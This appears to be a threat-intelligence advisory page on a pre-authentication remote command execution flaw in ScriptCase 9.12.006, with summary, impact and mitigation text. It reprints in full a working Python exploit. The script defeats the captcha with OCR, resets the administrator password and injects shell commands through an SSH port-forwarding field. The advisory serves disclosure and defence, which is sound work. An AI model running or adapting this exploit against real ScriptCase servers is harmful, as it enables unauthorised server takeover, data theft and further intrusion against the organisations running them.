ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
AI Analysis
Technical Summary
The security threat pertains to a Remote Command Execution (RCE) vulnerability identified in ScriptCase version 9.12.006 (build 23). ScriptCase is a widely used PHP code generator and rapid application development tool that enables developers to create web applications quickly. An RCE vulnerability in this context allows an attacker to execute arbitrary commands on the underlying server hosting the ScriptCase application without authorization. This can lead to full system compromise, data theft, or further lateral movement within the network. The exploit is publicly documented with an Exploit-DB ID 52353 and includes proof-of-concept code written in Python, indicating that the vulnerability can be exploited remotely and programmatically. Although no specific affected sub-versions are listed, the mention of version 9.12.006 (23) suggests this particular build is vulnerable. The absence of patch links implies that either no official fix has been released yet or it has not been publicly documented. The exploit does not require user interaction, and given the nature of RCE, it likely does not require authentication, making it highly dangerous. The vulnerability could be exploited by sending crafted requests to the ScriptCase web interface, allowing attackers to run arbitrary system commands with the privileges of the web server process. This could lead to data breaches, defacement, ransomware deployment, or pivoting attacks within the victim's network.
Potential Impact
For European organizations, the impact of this RCE vulnerability in ScriptCase is significant. Many enterprises, government agencies, and service providers in Europe utilize ScriptCase for internal and external web application development. Exploitation could lead to unauthorized access to sensitive personal data protected under GDPR, causing severe regulatory and financial repercussions. The compromise of web servers could disrupt business operations, damage reputation, and result in costly incident response efforts. Additionally, attackers could leverage the foothold to deploy malware, ransomware, or conduct espionage. Given the critical severity and ease of exploitation, organizations using ScriptCase 9.12.006 (23) face a high risk of compromise, especially if exposed to the internet without proper network segmentation or firewall protections. The lack of known exploits in the wild currently provides a small window for proactive mitigation before widespread attacks occur.
Mitigation Recommendations
1. Immediate identification and inventory of all ScriptCase instances, specifically version 9.12.006 (23), within the organization’s environment. 2. Apply any available patches or updates from the vendor as soon as they are released; if no official patch exists, consider upgrading to a newer, secure version of ScriptCase. 3. Restrict access to ScriptCase web interfaces to trusted internal networks or VPNs, implementing strict firewall rules and network segmentation to minimize exposure. 4. Employ Web Application Firewalls (WAFs) with custom rules to detect and block suspicious command injection or RCE attempts targeting ScriptCase endpoints. 5. Monitor logs and network traffic for unusual activity indicative of exploitation attempts, such as unexpected command execution or anomalous HTTP requests. 6. Conduct penetration testing and vulnerability scanning focused on ScriptCase deployments to identify residual risks. 7. Educate development and IT teams about the risks associated with this vulnerability and enforce secure coding and deployment practices to prevent similar issues. 8. Implement robust backup and recovery procedures to mitigate the impact of potential ransomware or destructive attacks stemming from exploitation.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Belgium, Poland, Sweden, Switzerland
Indicators of Compromise
- exploit-code: # Exploit Title: ScriptCase 9.12.006 (23) - Remote Command Execution (RCE) # Date: 04/07/2025 # Exploit Author: Alexandre ZANNI (noraj) & Alexandre DROULLÉ (cabir) # Vendor Homepage: https://www.scriptcase.net/ # Software Link: https://www.scriptcase.net/download/ # Version: 1.0.003-build-2 (Production Environment) / 9.12.006 (23) (ScriptCase) # Tested on: EndeavourOS # CVE : CVE-2025-47227, CVE-2025-47228 # Source: https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228 # Advisory: https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution # Imports ## stdlib import io import random import optparse import re import string import sys import urllib.parse ## third party from PIL import Image, ImageEnhance, ImageFilter # pip3 install Pillow import pytesseract # pip3 install pytesseract import requests # pip install requests from bs4 import BeautifulSoup # pip install beautifulsoup4 # Clean image + OCR def process_image(input_image, output_image_path=None): # Open the image img = Image.open(io.BytesIO(input_image)) # Convert the image to RGB (in case it's in a different mode) img = img.convert('RGB') # Load the pixel data pixels = img.load() # Get the dimensions of the image width, height = img.size # Process each pixel for y in range(height): for x in range(width): r, g, b = pixels[x, y] # Change the crap background to a fixed color (letters are only black or white, and background is random color but not black or white) if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255): pixels[x, y] = (211, 211, 211) # Change the pixel to light grey elif (r, g, b) == (255, 255, 255): # Change white text in black text pixels[x, y] = (0, 0, 0) # Change the pixel to black # Size (200, 50) * 5 img = img.resize((1000,250), Image.Resampling.HAMMING) # Use Tesseract to convert the image to text # psm 6 or 8 work best # limit alphabet # disable word optimized detection https://github.com/tesseract-ocr/tessdoc/blob/main/ImproveQuality.md#dictionaries-word-lists-and-patterns custom_oem_psm_config = rf'--psm 8 --oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false --dpi 300' # there are only uppercase but keep lowercase to avoid false negative text = pytesseract.image_to_string(img, config=custom_oem_psm_config) return(text.upper().strip()) # convert false positive lowercase to uppercase, strip because leading whitespace is often added # Step 1: Set is_page to true on the session def prepare_session(url_base, cookies): res = requests.get( f'{url_base}/prod/lib/php/devel/iface/login.php', cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Session prepared") else: print(f"[-] Failed with status code {res.status_code}") # Random hex string of arbitrary size def rand_hex(size): return ''.join(random.choice('0123456789abcdef') for _ in range(size)) # Step 2: Get a captcha challenge for the session def captcha_session(url_base, cookies): res = requests.get( f'{url_base}/prod/lib/php/devel/lib/php/secureimage.php', cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Captcha retrieved") return res.content else: print(f"[-] Failed with status code {res.status_code}") # Step 3: Change the password with the prepared session def reset_password(url_base, cookies, captcha_img, captcha_txt): new_password = random.choice(string.ascii_letters).capitalize() + rand_hex(10) + str(random.randint(0,9)) email = f'{rand_hex(10)}@{rand_hex(8)}.com' data = { 'ajax': 'nm', 'nm_action': 'change_pass', 'email': email, 'pass_new': new_password, 'pass_conf': new_password, 'lang': 'en-us', 'captcha': captcha_txt } res = requests.post( f'{url_base}/prod/lib/php/devel/iface/login.php', data=data, cookies=cookies, verify=False ) if res.status_code == 200 and res.text == '{"result":"success"}': print("[+] Password reset successfully") print(f"[+] The new password is: {new_password}") print(f"[+] The delcared (fake) email address was: {email}") elif res.status_code == 200 and res.text == '{"result":"error","message":"Invalid captcha"}': print("[-] OCR failed") print(f"[-] Failed captcha submission was {captcha_txt}") img = Image.open(io.BytesIO(captcha_img)) img.show() manual_input = input("[+] Input displayed captcha to retry manually: ") reset_password(url_base, cookies, captcha_img, manual_input) elif res.status_code == 200 and res.text == '{"result":"error","message":"The password is incorrect."}': print("[-] Non default password policy") print("[-] Hardcode a password that matches it") print(f"[-] Failed password is: {new_password}") else: print(f"[-] Failed with status code {res.status_code}") print(res.text) print('[-] Data was:') print(data) # Detect the deployment path of ScriptCase and produciton environment from the homepage. # E.g. deployment path is /scriptcase/ # sc_pathToTB variable on http://10.58.8.213/ will be '/scriptcase/prod/third/jquery_plugin/thickbox/' # ScriptCase login page => http://10.58.8.213/scriptcase/devel/iface/login.php # Production Environment login page => http://10.58.8.213/scriptcase/prod/lib/php/devel/iface/login.php def detect_deployment_path(homepage_url): res = requests.get(homepage_url, verify=False) # HTTP redirections are handled automatically (not JS redirects) if res.status_code == 200: print("[+] Looking for deployment path in JS and computing login paths") reg = r"var sc_pathToTB = '(.+)/prod/third/jquery_plugin/thickbox/';" match = re.search(reg, res.text) # compute URL without path parsed_url = urllib.parse.urlparse(homepage_url) homepage_root = f"{parsed_url.scheme}://{parsed_url.netloc}" if match: base_path = match.group(1) print(f"[+] Deployment path found: {base_path}/") print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php (probably not deployed on a production environment)") print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php") else: # either a website not made with ScriptCase or root redirects to the devel page js_redirect(res) # try to detect the devel/iface/login.php page reg2 = r'http://www\.scriptcase\.net|doChangeLanguage|str_lang_user_first' match = re.search(reg2, res.text) if match: # devel page print(f"[?] This may be the development console?") # now try to extract path from favicon reg3 = r'<link rel="shortcut icon" href="(.+)/devel/conf/scriptcase/img/ico/favicon\.ico"' match = re.search(reg3, res.text) if match: # base path found base_path = match.group(1) print(f"[+] Deployment path found: {base_path}/") print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php") print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php") else: # false positive, it's not devel page print(f"[-] Failed to find deployment path, is this site made with ScriptCase?") else: # no ScriptCase detected print("[-] Failed to find deployment path, is this site made with ScriptCase?") else: print(f"[-] Failed with status code {res.status_code}") # Try to handle JS redirect else warn and exit def js_redirect(res): if re.search(r'window\.location', res.text): print('[-] JavaScript redirection detected') print('[-] JavaScript redirection not handled (no headless browser with JS engine)') print(f"[-] Returned page is:\n{res.text}") print(f"[-] Last redirection URL is:\n{res.url}") match = re.search(r"window\.location\s*=\s*['\"](.+)['\"]", res.text) if match: redirect_url = f"{res.url}/{match.group(1)}" print(f"[?] Let's try again with: {redirect_url}") detect_deployment_path(redirect_url) else: print('Please try again with redirect URL') exit(1) # Remote command execution on the system # # Instead of registering a new connection (admin_sys_allconections_create_wizard.php), we can just test it # (admin_sys_allconections_test.php) so we leave less traces. # Even if the test results in "Connection Error" / "Unable to connect", the command was stil lexecuted. def command_injection(url_base, cookies, cmd): data = { 'hid_create_connect': 'S', 'dbms': 'mysql', 'conn': 'conn_mysql', 'dbms': 'pdo_mysql', 'host': '127.0.0.1:3306', 'server': '127.0.0.1', 'port': '3306', 'user': rand_hex(11), 'pass': rand_hex(8), 'show_table': 'Y', 'show_view': 'Y', 'show_system': 'Y', 'show_procedure': 'Y', 'decimal': '.', 'use_persistent': 'N', 'use_schema': 'N', 'retrieve_schema': 'Y', 'retrieve_schema': 'Y', 'use_ssh': 'Y', 'ssh_server': '127.0.0.1', 'ssh_user': 'root', 'ssh_port': '22', 'ssh_localportforwarding': f'; {cmd};#', 'ssh_localserver': '127.0.0.1', 'ssh_localport': '3306', 'form_create': form_create(url_base, cookies), 'retornar': 'Back', 'concluir': 'Save', 'confirmar': 'Back', 'voltar': 'Confirm', 'step': 'sgdb2', 'nextstep': 'dados_rep' } res = requests.post( f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php', data=data, cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Command executed (blind)") else: print(f"[-] Failed with status code {res.status_code}") exit(1) # Get form_create ID for command_injection() def form_create(url_base, cookies): res = requests.get( f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php', cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Parsing results to find form_create ID") soup = BeautifulSoup(res.text, 'html.parser') form_create = soup.css.select_one('html body.nmPage form input[name="form_create"]') if form_create: form_create_id = form_create.get('value') print(f"[+] form_create ID found: {form_create_id}") return form_create_id else: print("[-] No form_create ID found") exit(1) return res.content else: print(f"[-] Failed with status code {res.status_code}") exit(1) # Handles login # # Comes with a cookie as there is session fixation (cookie not renewed after login) def login(url_base, cookies, password): data = { 'option': 'login', 'opt_par': None, 'hid_login': 'S', 'field_pass': password, 'field_language': 'en-us' } res = requests.post( f'{url_base}/prod/lib/php/nm_ini_manager2.php', data=data, cookies=cookies, verify=False ) if res.status_code == 200: print("[+] Authentication successful") else: print("[-] Authentication failed") # Exploit if __name__ == '__main__': help_text = """ Examples: Pre-Auth RCE (password reset + RCE) python exploit.py -u http://example.org/scriptcase -c "command" Password reset only (no auth) python exploit.py -u http://example.org/scriptcase RCE only (need account) python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*' Detect deployment path python exploit.py -u http://example.org/ -d """ parser = optparse.OptionParser(usage=help_text) parser.add_option('-u', '--base-url') parser.add_option('-c', '--command') parser.add_option('-p', '--password') parser.add_option('-d', '--detect', action='store_true', dest='detect') opts, args = parser.parse_args() cookies = { 'PHPSESSID': rand_hex(26) # Simulate a random PHPSESSID (more stealth than an arbitrary string) } URL_BASE = opts.base_url if opts.base_url and opts.command and not opts.password and not opts.detect: # Pre-Auth RCE (password reset + RCE) prepare_session(URL_BASE, cookies) captcha_img = captcha_session(URL_BASE, cookies) captcha_txt = process_image(captcha_img) reset_password(URL_BASE, cookies, captcha_img, captcha_txt) command_injection(URL_BASE, cookies, opts.command) elif opts.base_url and not opts.command and not opts.password and not opts.detect: # Password reset only (no auth) prepare_session(URL_BASE, cookies) captcha_img = captcha_session(URL_BASE, cookies) captcha_txt = process_image(captcha_img) reset_password(URL_BASE, cookies, captcha_img, captcha_txt) elif opts.base_url and opts.command and opts.password and not opts.detect: # RCE only (need account) prepare_session(URL_BASE, cookies) login(URL_BASE, cookies, opts.password) command_injection(URL_BASE, cookies, opts.command) elif opts.base_url and not opts.command and not opts.password and opts.detect: # Detect deployment path detect_deployment_path(URL_BASE) else: parser.print_help() sys.exit(1)
ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
Description
ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
AI-Powered Analysis
Technical Analysis
The security threat pertains to a Remote Command Execution (RCE) vulnerability identified in ScriptCase version 9.12.006 (build 23). ScriptCase is a widely used PHP code generator and rapid application development tool that enables developers to create web applications quickly. An RCE vulnerability in this context allows an attacker to execute arbitrary commands on the underlying server hosting the ScriptCase application without authorization. This can lead to full system compromise, data theft, or further lateral movement within the network. The exploit is publicly documented with an Exploit-DB ID 52353 and includes proof-of-concept code written in Python, indicating that the vulnerability can be exploited remotely and programmatically. Although no specific affected sub-versions are listed, the mention of version 9.12.006 (23) suggests this particular build is vulnerable. The absence of patch links implies that either no official fix has been released yet or it has not been publicly documented. The exploit does not require user interaction, and given the nature of RCE, it likely does not require authentication, making it highly dangerous. The vulnerability could be exploited by sending crafted requests to the ScriptCase web interface, allowing attackers to run arbitrary system commands with the privileges of the web server process. This could lead to data breaches, defacement, ransomware deployment, or pivoting attacks within the victim's network.
Potential Impact
For European organizations, the impact of this RCE vulnerability in ScriptCase is significant. Many enterprises, government agencies, and service providers in Europe utilize ScriptCase for internal and external web application development. Exploitation could lead to unauthorized access to sensitive personal data protected under GDPR, causing severe regulatory and financial repercussions. The compromise of web servers could disrupt business operations, damage reputation, and result in costly incident response efforts. Additionally, attackers could leverage the foothold to deploy malware, ransomware, or conduct espionage. Given the critical severity and ease of exploitation, organizations using ScriptCase 9.12.006 (23) face a high risk of compromise, especially if exposed to the internet without proper network segmentation or firewall protections. The lack of known exploits in the wild currently provides a small window for proactive mitigation before widespread attacks occur.
Mitigation Recommendations
1. Immediate identification and inventory of all ScriptCase instances, specifically version 9.12.006 (23), within the organization’s environment. 2. Apply any available patches or updates from the vendor as soon as they are released; if no official patch exists, consider upgrading to a newer, secure version of ScriptCase. 3. Restrict access to ScriptCase web interfaces to trusted internal networks or VPNs, implementing strict firewall rules and network segmentation to minimize exposure. 4. Employ Web Application Firewalls (WAFs) with custom rules to detect and block suspicious command injection or RCE attempts targeting ScriptCase endpoints. 5. Monitor logs and network traffic for unusual activity indicative of exploitation attempts, such as unexpected command execution or anomalous HTTP requests. 6. Conduct penetration testing and vulnerability scanning focused on ScriptCase deployments to identify residual risks. 7. Educate development and IT teams about the risks associated with this vulnerability and enforce secure coding and deployment practices to prevent similar issues. 8. Implement robust backup and recovery procedures to mitigate the impact of potential ransomware or destructive attacks stemming from exploitation.
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Technical Details
- Edb Id
- 52353
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
# Exploit Title: ScriptCase 9.12.006 (23) - Remote Command Execution (RCE) # Date: 04/07/2025 # Exploit Author: Alexandre ZANNI (noraj) & Alexandre DROULLÉ (cabir) # Vendor Homepage: https://www.scriptcase.net/ # Software Link: https://www.scriptcase.net/download/ # Version: 1.0.003-build-2 (Production Environment) / 9.12.006 (23) (ScriptCase) # Tested on: EndeavourOS # CVE : CVE-2025-47227, CVE-2025-47228 # Source: https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228 # Advisory: https://w... (13545 more characters)
Threat ID: 686e74f66f40f0eb72042ded
Added to database: 7/9/2025, 1:56:06 PM
Last enriched: 7/9/2025, 1:57:59 PM
Last updated: 7/10/2025, 5:38:20 AM
Views: 4
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